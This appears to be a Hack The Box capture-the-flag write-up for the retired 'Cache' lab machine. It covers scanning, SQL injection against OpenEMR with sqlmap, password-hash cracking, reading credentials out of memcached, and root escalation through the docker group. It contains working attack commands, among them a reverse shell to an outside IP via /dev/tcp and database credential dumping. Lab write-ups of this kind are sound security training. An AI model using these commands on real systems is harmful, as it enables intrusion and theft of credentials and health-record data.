HTB Write-up | Cache
Retired machine can be found here.
Scanning
We start with our usual scanning which finds only an instance of OpenSSH
running on port 22 and an Apache
server running on port 80.
~ sudo nmap -sV -sC -A -T4 cache.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-08 18:21 WEST
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.042s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
The website hosted on cache.htb
is very simple: there are only a couple of HTML pages with some text about hacking.
There's also a very simple Login page:
The credentials for this authentication form are hardcoded on a JS file:
user: ash
password: H@v3_fun
Using these credentials on the form we're redirected to the Net page, which doesn't seem to have anything of relevance.
The Author page, on the other hand, seems to have some interesting information:
<div class="card">
<img src="logo1.jpg" alt="John" style="width:100%">
<h1>ASH</h1>
<p class="title">CEO & Founder, CACHE</p>
<a href="http://cache.htb">cache.htb</a>
<h3><font color="Grey">ASH is a Security Researcher (Threat Research Labs), Security Engineer. Hacker, Penetration Tester and Security blogger. He is Editor-in-Chief, Author & Creator of Cache. Check out his other projects like Cache:<p> HMS(Hospital Management System)
</font></h3>
So, a couple of interesting things:
- the CEO and Founder of CACHE is someone named ASH (also maybe John according to the alt tag);
- ASH is also the creator of another project called HMS;
I was certain that HMS was an important clue, but wasn't completely sure how to access it, until I realised that it was an alternative virtual host. So, in order to display this other website, all we have to do is change our /etc/hosts
configuration:
10.10.10.188 hms.htb
Exploiting OpenEMR Vulnerabilities
When we access hms.htb we're redirected to a login page for OpenEMR, which is an "open source electronic health records and medical practice management solution".
Turns out OpenEMR has a lot of well-known vulnerabilities, which are very thoroughly detailed here.
As indicated on these docs, we can check the admin.php file for the exact version of the application:
This version is vulnerable to multiple SQL Injection vulnerabilities. There's actually a very good video tutorial for this exploit, but in very simple terms it works as follows:
- capture the GET request to a portal page with Burp or any other proxy;
- copy that request to a file and then add a parameter (?eid=1) to the URL:
~ sudo nano openemr.req
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pt-PT;q=0.8,pt;q=0.7
Cookie: OpenEMR=ektggh73sf93fg6kg9ctif9km6; PHPSESSID=mff3bosse1qitlik842hl4ud4f
Connection: close
3. use sqlmap to exploit the aforementioned SQL injection vulnerabilities, starting with the enumeration of the available databases:
~ sqlmap -r openemr.req --threads=10 --dbs
available databases [2]:
[*] information_schema
[*] openemr
4. once we have the database name, dump the contents of the users_secure table, which holds user info including passwords:
~ sqlmap -r openemr.req --threads=10 -D openemr -T users_secure --dump
And voilà!
The users_secure table has only one user - openemr_admin - and now we know their hashed password, which we'll crack using john:
$ john -w=rockyou.txt hash.txt
Now that we have a valid user/password combination, we can use this script to help us get the RCE (it took a bit of tweaking to get the script to work, since the base64 encoding was not working properly):
~ python3 openemr_rce.py http://hms.htb -u openemr_admin -p xxxxxx -c "bash -i >& /dev/tcp/10.10.14.43/4444 0>&1"
Getting user
As always, we check the /etc/passwd
file to check the system's users:
www-data@cache:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false
mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false
There are 2 interesting users: ash and luffy:
- ash we already know - they're the CEO of both Cache and HMS.
- luffy, however, means nothing to us at this point (but this is the name of a OnePiece character, which combined with the image on the Net page page might be a little clue).
Using su
We now have a couple of credentials that we want to test for both ash and luffy, however when we try to use su
, we get the following error message:
www-data@cache:/var/www/hms.htb/public_html$ su -u ash
su -u ash
su: must be run from a terminal
After some Googling I realised that this means this machine is running inside a container. This StackOverflow answer helped me go around it by using a TTY shell:
www-data@cache:$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/abc.py
www-data@cache:$ python3 /tmp/abc.py
www-data@cache:$ rm /tmp/abc.py
www-data@cache:$ su - ash
Password: H@v3_fun
ash@cache:~$
Becoming luffy
From our initial enumeration we know that luffy is a member of the docker
group, so it's likely that we first need to become luffy before being able to escalate to root.
So, we start by checking all the services running on the machine:
ash@cache:~/$ service --status-all
[ - ] acpid
[ + ] apache-htcacheclean
[ + ] apache2
[ + ] apparmor
[ + ] apport
[ + ] atd
[ - ] console-setup.sh
[ + ] cron
[ - ] cryptdisks
[ - ] cryptdisks-early
[ + ] dbus
[ + ] docker
[ + ] ebtables
[ + ] grub-common
[ - ] hwclock.sh
[ + ] irqbalance
[ + ] iscsid
[ - ] keyboard-setup.sh
[ + ] kmod
[ - ] lvm2
[ + ] lvm2-lvmetad
[ + ] lvm2-lvmpolld
[ + ] lxcfs
[ - ] lxd
[ - ] mdadm
[ - ] mdadm-waitidle
[ + ] memcached
[ + ] mysql
[ - ] open-iscsi
[ + ] open-vm-tools
[ - ] plymouth
[ - ] plymouth-log
[ + ] procps
[ - ] rsync
[ + ] rsyslog
[ - ] screen-cleanup
[ + ] ssh
[ + ] udev
[ + ] ufw
[ + ] unattended-upgrades
[ - ] uuidd
Because of the name of the machine I decided to start by checking out the process in which memcached is running:
ash@cache:~$ ps aux | grep memcached
memcache 961 0.0 0.0 425792 4032 ? Ssl 14:07 0:02 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/memcached.pid
ash 7525 0.0 0.0 416308 2480 pts/5 Sl+ 16:25 0:00 memcached
ash 8590 0.0 0.0 13136 1048 pts/6 S+ 16:27 0:00 grep --color=auto memcached
Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering. (...) [It's] intended for use in speeding up dynamic web applications by alleviating database load. [Source]
Now that we know the port this service is using, let's see if there's anything useful cached on the server:
ash@cache:~$ nc 127.0.0.1 11211
nc 127.0.0.1 11211
stats items
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 20
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 72
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 895
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 2
STAT items:1:hits_to_temp 0
END
We know there's only 1 item, let's see what it contains:
stats cachedump 1 1000
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
```
Seems very interesting, let's print the values:
get user
get user
VALUE user 0 5
luffy
END
get passwd
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
And there we go! We're now luffy!
Getting root
Knowing that luffy is a part of the docker group we only need a bit of googling to find a potential priv esc path:
The problem arises when the docker group is assigned to the host user. Since docker is running as root with SGID, an unauthorised person who has access to the host user (with user privileges) can easily escalate privileges by mounting the host volume to one of the containers; granting the attacker full access to the filesystem. [Source]
So, as specified on the article, we start by listing the available containers:
luffy@cache:~$ docker container ps
CONTAINER ID | IMAGE | COMMAND | CREATED | STATUS | PORTS | NAMES |
---|---|---|---|---|---|---|
9c0e13e441d3 | ubuntu | "chroot /mnt sh" | 36 minutes ago | Up 36 minutes | relaxed_ishizaka | |
be4e9f712cb2 | ubuntu | "chroot /mnt sh" | 4 hours ago | Up 4 hours | heuristic_pasteur |
There's only 1 image we can run: ubuntu. Now we can mount our machine's entire filesystem on a new container (by specifying the -v
argument) and then spawn a TTY to access it.
luffy@cache:~$ docker run -v /:/mnt/root -ti ubuntu
Since we're root, we can print the root flag from its relative path to the mount point.
root@a5d39b0a924a:/# cat /mnt/root/root/root.txtcat